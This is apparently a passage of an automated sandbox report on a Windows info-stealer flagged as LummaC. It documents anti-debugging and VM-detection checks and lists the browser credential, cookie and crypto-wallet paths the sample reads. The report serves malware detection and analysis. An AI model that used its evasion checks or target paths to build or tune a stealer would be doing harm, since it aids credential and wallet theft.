Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6029512 second address: 6029558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF7B4BE4C3Ch 0x0000000a popad 0x0000000b nop 0x0000000c mov di, 8F00h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FF7B4BE4C38h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6029558 second address: 602955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602368A second address: 60236B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jng 00007FF7B4BE4C4Dh 0x00000010 jmp 00007FF7B4BE4C47h 0x00000015 jp 00007FF7B4BE4C3Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602B52F second address: 602B53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF7B4BDD206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602D5AF second address: 602D5B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6024776 second address: 6024787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FF7B4BDD208h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602E512 second address: 602E556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, eax 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FF7B4BE4C38h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 sub dword ptr [ebp+1245AD77h], ebx 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 ja 00007FF7B4BE4C3Ch 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602E556 second address: 602E560 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF7B4BDD20Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6024787 second address: 602481C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF7B4BE4C3Fh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FF7B4BE4C38h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov di, si 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 mov eax, dword ptr [ebp+122D1421h] 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007FF7B4BE4C38h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000015h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D3A91h] 0x0000005d push FFFFFFFFh 0x0000005f jmp 00007FF7B4BE4C3Ah 0x00000064 pushad 0x00000065 mov cx, 2ACEh 0x00000069 pushad 0x0000006a jbe 00007FF7B4BE4C36h 0x00000070 or ah, FFFFFFA0h 0x00000073 popad 0x00000074 popad 0x00000075 push eax 0x00000076 pushad 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602F4A9 second address: 602F4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602F4AF second address: 602F4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603057A second address: 6030593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF7B4BDD206h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 jns 00007FF7B4BDD206h 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031573 second address: 6031577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031577 second address: 6031591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031591 second address: 6031596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031596 second address: 603159C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602B74F second address: 602B754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602C68C second address: 602C6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF7B4BDD217h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602F751 second address: 602F755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602C6AC second address: 602C6B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602C79D second address: 602C7BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031775 second address: 603177B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 37160A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5416FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 373CBF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 527EE0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5A7A9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E5DD91 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E5DCB4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 609C5E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E62C7B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05E5D5DB rdtsc

0_2_05E5D5DB

Source: C:\Users\user\Desktop\file.exe TID: 7364	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7472	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7352	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7368	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7356	Thread sleep time: -56028s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1741620894.0000000005FEB000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1732824648.00000000004F7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1741150170.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676124429.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1383220928.00000000056D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000002.1735272102.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1741620894.0000000005FEB000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1732824648.00000000004F7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1741150170.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1383220928.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05E5D5DB rdtsc

0_2_05E5D5DB

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003571F0 LdrInitializeThunk,

0_2_003571F0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1732824648.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.1741620894.0000000005FEB000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: .HProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1516548024.0000000005683000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1513237611.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.1474935538.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1474935538.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1474935538.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1474935538.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
